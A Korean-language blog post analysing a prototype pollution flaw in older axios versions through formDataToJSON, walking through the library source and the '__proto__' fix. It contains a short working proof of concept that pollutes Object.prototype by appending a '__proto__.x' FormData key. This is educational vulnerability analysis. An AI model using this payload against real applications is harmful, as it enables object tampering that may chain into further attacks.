project

axios Prototype Pollution 1 day 취약점 분석

preo123 2025. 7. 23. 20:03

취약점

axios >=0.28.0 <0.29.0 ,  >=1.0.0 <1.6.4에서 formDataToJSON 함수가 이용될 때 '__proto__' 문자열을 검증하지 않고 객체를 구성해서 Prototype Pollution 취약점이 발생한다.

 

https://security.snyk.io/vuln/SNYK-JS-AXIOS-6144788

 

Snyk Vulnerability Database | Snyk

High severity (7.5) Prototype Pollution in axios

security.snyk.io


PoC

const axios = require('axios');

const form = new FormData();

form.append('__proto__.x', 'polluted'); 

(async () => {
    console.log('Before pollution :', {}.x);
    
    try {
        await axios.post('http://mysite.com', form, {
            headers: {
                'Content-Type': 'application/json'
            }
        });
    } catch (err) {
        console.error('Request error');
    }

    console.log('After pollution :', {}.x);
})();

 


환경 세팅

mkdir axios-vuln

cd axios-vuln

npm init -y
npm intall axios@1.6.0

vi vuln.js
# vuln.js 내용 작성

node vuln.js

 

/* package.json **/

{
  "name": "axios-vuln",
  "version": "1.0.0",
  "main": "vuln.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "keywords": [],
  "author": "",
  "license": "ISC",
  "description": "",
  "dependencies": {
    "axios": "^1.6.0"
  }
}

디버깅 환경

/* .vscode/launch.json **/

{
  "version": "0.2.0",
  "configurations": [
    {
      "type": "node",
      "request": "launch",
      "name": "Debug vuln.js",
      "program": "${workspaceFolder}/axios-vuln/vuln.js",
      "cwd": "${workspaceFolder}/axios-vuln",
      "console": "integratedTerminal",
      "internalConsoleOptions": "neverOpen",
      "smartStep": true,
      "skipFiles": ["<node_internals>/**"]
    }
  ]
}

 


디버깅 방법

0. node_modules/axios/dist/node/axios.cjs 찾기

1. 적절한 곳에 중단점을 찍고 분석


취약점 분석

formDataToJSON 함수가 이용되는 조건

1. 요청 data가 FormData 인스턴스여야 한다.

2. Content-Type 헤더가 application/json이여야 한다.


분석 흐름

1. axios.post로 요청

2. dispatchRequest(config)

3. transformData

4. defaults 객체 생성

5. isFormData

6. formDataToJSON

7. buildPath


함수 트리

dispatchRequest(config)

    transformData

        default 객체 구성

            isFormData

            formDataToJSON

                buildPath


자세한 분석

 

const form = new FormData();

form.append('__proto__.x', 'polluted'); 

await axios.post('https://mysite.com', form, {
    headers: {
        'Content-Type': 'application/json'
    }
});

 

FormData 인스턴스를 이용하고 Content-Type을 application/json으로 설정해서 post 요청을 보낸다.

 

dispatchRequest(config)

function dispatchRequest(config) {
  throwIfCancellationRequested(config);

  config.headers = AxiosHeaders$1.from(config.headers);

  // Transform request data
  config.data = transformData.call(
    config,
    config.transformRequest
  );

  if (['post', 'put', 'patch'].indexOf(config.method) !== -1) {
    config.headers.setContentType('application/x-www-form-urlencoded', false);
  }

  const adapter = adapters.getAdapter(config.adapter || defaults$1.adapter);

  return adapter(config).then(function onAdapterResolution(response) {
    throwIfCancellationRequested(config);

    // Transform response data
    response.data = transformData.call(
      config,
      config.transformResponse,
      response
    );

    response.headers = AxiosHeaders$1.from(response.headers);

    return response;
  }, function onAdapterRejection(reason) {
    if (!isCancel(reason)) {
      throwIfCancellationRequested(config);

      // Transform response data
      if (reason && reason.response) {
        reason.response.data = transformData.call(
          config,
          config.transformResponse,
          reason.response
        );
        reason.response.headers = AxiosHeaders$1.from(reason.response.headers);
      }
    }

    return Promise.reject(reason);
  });
}

 

그러면 header와 data를 처리한 후 HTTP 요청을 최종적으로 보내주는 dispatchRequest(config) 함수가 실행된다.

 

dispatchRequest(config) 함수 내부에서 header와 data를 처리하기 위해 transformData 함수가 실행된다.

 

transformData

function transformData(fns, response) {
  const config = this || defaults$1;
  const context = response || config;
  const headers = AxiosHeaders$1.from(context.headers);
  let data = context.data;

  utils.forEach(fns, function transform(fn) {
    data = fn.call(config, data, headers.normalize(), response ? response.status : undefined);
  });

  headers.normalize();

  return data;
}

 

transformData 함수 내부에서는 위의 코드를 통해 defaults 객체를 구성한다.

 

defaults 객체

const defaults = {

  transitional: transitionalDefaults,

  adapter: ['xhr', 'http'],

  transformRequest: [function transformRequest(data, headers) {
    const contentType = headers.getContentType() || '';
    const hasJSONContentType = contentType.indexOf('application/json') > -1;
    const isObjectPayload = utils.isObject(data);

    if (isObjectPayload && utils.isHTMLForm(data)) {
      data = new FormData(data);
    }

    const isFormData = utils.isFormData(data);

    if (isFormData) {
      if (!hasJSONContentType) {
        return data;
      }
      return hasJSONContentType ? JSON.stringify(formDataToJSON(data)) : data;
    }

    if (utils.isArrayBuffer(data) ||
      utils.isBuffer(data) ||
      utils.isStream(data) ||
      utils.isFile(data) ||
      utils.isBlob(data)
    ) {
      return data;
    }
    if (utils.isArrayBufferView(data)) {
      return data.buffer;
    }
    if (utils.isURLSearchParams(data)) {
      headers.setContentType('application/x-www-form-urlencoded;charset=utf-8', false);
      return data.toString();
    }

    let isFileList;

    if (isObjectPayload) {
      if (contentType.indexOf('application/x-www-form-urlencoded') > -1) {
        return toURLEncodedForm(data, this.formSerializer).toString();
      }

      if ((isFileList = utils.isFileList(data)) || contentType.indexOf('multipart/form-data') > -1) {
        const _FormData = this.env && this.env.FormData;

        return toFormData(
          isFileList ? {'files[]': data} : data,
          _FormData && new _FormData(),
          this.formSerializer
        );
      }
    }

    if (isObjectPayload || hasJSONContentType ) {
      headers.setContentType('application/json', false);
      return stringifySafely(data);
    }

    return data;
  }],

  transformResponse: [function transformResponse(data) {
    const transitional = this.transitional || defaults.transitional;
    const forcedJSONParsing = transitional && transitional.forcedJSONParsing;
    const JSONRequested = this.responseType === 'json';

    if (data && utils.isString(data) && ((forcedJSONParsing && !this.responseType) || JSONRequested)) {
      const silentJSONParsing = transitional && transitional.silentJSONParsing;
      const strictJSONParsing = !silentJSONParsing && JSONRequested;

      try {
        return JSON.parse(data);
      } catch (e) {
        if (strictJSONParsing) {
          if (e.name === 'SyntaxError') {
            throw AxiosError.from(e, AxiosError.ERR_BAD_RESPONSE, this, null, this.response);
          }
          throw e;
        }
      }
    }

    return data;
  }],

  /**
   * A timeout in milliseconds to abort a request. If set to 0 (default) a
   * timeout is not created.
   */
  timeout: 0,

  xsrfCookieName: 'XSRF-TOKEN',
  xsrfHeaderName: 'X-XSRF-TOKEN',

  maxContentLength: -1,
  maxBodyLength: -1,

  env: {
    FormData: platform.classes.FormData,
    Blob: platform.classes.Blob
  },

  validateStatus: function validateStatus(status) {
    return status >= 200 && status < 300;
  },

  headers: {
    common: {
      'Accept': 'application/json, text/plain, */*',
      'Content-Type': undefined
    }
  }
};

 

defaults 객체에서 transformRequest 함수 부분을 보면 

 

이 세 변수는 각각

이렇게 axios.post로 요청을 보낼 때 설정해줬던대로 값이 들어있다.

 

그 후 보낸 data가 FormData 인스턴스인지 확인하는데

 

isFormData

const isFormData = (thing) => {
  let kind;
  return thing && (
    (typeof FormData === 'function' && thing instanceof FormData) || (
      isFunction(thing.append) && (
        (kind = kindOf(thing)) === 'formdata' ||
        // detect form-data instance
        (kind === 'object' && isFunction(thing.toString) && thing.toString() === '[object FormData]')
      )
    )
  )
};

 

이러한 로직을 통해 검증하고 결국 isFormData는 true가 된다.

 

defaults

다시 defaults 객체로 돌아와서

isFormData는 true이고 hasJSONContentType도 true이기 때문에 결국 JSON.stringify(formDataToJSON(data))가 실행된다.

 

formDataToJSON

function formDataToJSON(formData) {
  function buildPath(path, value, target, index) {
    let name = path[index++];
    const isNumericKey = Number.isFinite(+name);
    const isLast = index >= path.length;
    name = !name && utils.isArray(target) ? target.length : name;

    if (isLast) {
      if (utils.hasOwnProp(target, name)) {
        target[name] = [target[name], value];
      } else {
        target[name] = value;
      }

      return !isNumericKey;
    }

    if (!target[name] || !utils.isObject(target[name])) {
      target[name] = [];
    }

    const result = buildPath(path, value, target[name], index);

    if (result && utils.isArray(target[name])) {
      target[name] = arrayToObject(target[name]);
    }

    return !isNumericKey;
  }

  if (utils.isFormData(formData) && utils.isFunction(formData.entries)) {
    const obj = {};

    utils.forEachEntry(formData, (name, value) => {
      buildPath(parsePropPath(name), value, obj, 0);
    });

    return obj;
  }

  return null;
}

 

formDataToJSON 함수 내부에서 코드의 윗부분은 buildPath 함수가 정의되어 있고

아래 부분이 실행되는데 if문을 만족해 결국 buildPath 함수가 실행된다.

 

buildPath

  function buildPath(path, value, target, index) {
    let name = path[index++];
    const isNumericKey = Number.isFinite(+name);
    const isLast = index >= path.length;
    name = !name && utils.isArray(target) ? target.length : name;

    if (isLast) {
      if (utils.hasOwnProp(target, name)) {
        target[name] = [target[name], value];
      } else {
        target[name] = value;
      }

      return !isNumericKey;
    }

    if (!target[name] || !utils.isObject(target[name])) {
      target[name] = [];
    }

    const result = buildPath(path, value, target[name], index);

    if (result && utils.isArray(target[name])) {
      target[name] = arrayToObject(target[name]);
    }

    return !isNumericKey;
  }

 

buildPath 함수는 formDataToJSON 함수 안에 정의되어 있고 

 

※ 중요 ※

이 부분에 의해 취약점이 발생한다. 

 

buildPath 함수의 인자는

이렇게 설정되어 있고 

 

처음에 isLast가 false 이므로

다시 buildPath가 실행되고 (Prototype Pollution 취약점이 발생하는 다른 함수들처럼 동작)

(name에는 '__proto__'가 들어있다.)

 

객체가 {__proto__ : {x : 'polluted'}} 이렇게 오염된 것을 볼 수 있다.

 

dispatchRequest

최종적인 반환값

 

결과


취약점 패치

github commit을 보면 name이 '__proto__'이면 true를 반환하는데

이는 객체의 key가 '__proto__'가 되게 하지 못하게 함으로써 Prototype Pollution을 방지한다.


결론

이 취약점은 Prototype Pollution이 발생하는 것이지만 너무 제약 조건이 많다. 

 

FormData를 사용하면서 Content-Type 헤더를 application/json으로 설정하는 사람은 굉장히 적을 것이고,

심지어 FormData의 key와 value 둘 다 사용자 입력을 받아와야 한다.

 

위의 조건을 만족시킨다고 하더라도 Prototype Pollution을 통해서는 객체의 값을 조작하는 정도밖에 하지 못하지만 XSS나 RCE와 같은 취약점과 연계할 수 있다면 위험도가 높아질 것이다.

 

 

'project' 카테고리의 다른 글

CVE-2025-27415 1 day 취약점 분석  (0) 2025.07.08
CVE-2025-26923  (0) 2025.07.02
CVE-2024-34343 1 day 취약점 분석  (0) 2025.07.02
Nodejs로 게시판을 만들면서 찾아봤던 것들[1]  (0) 2024.11.05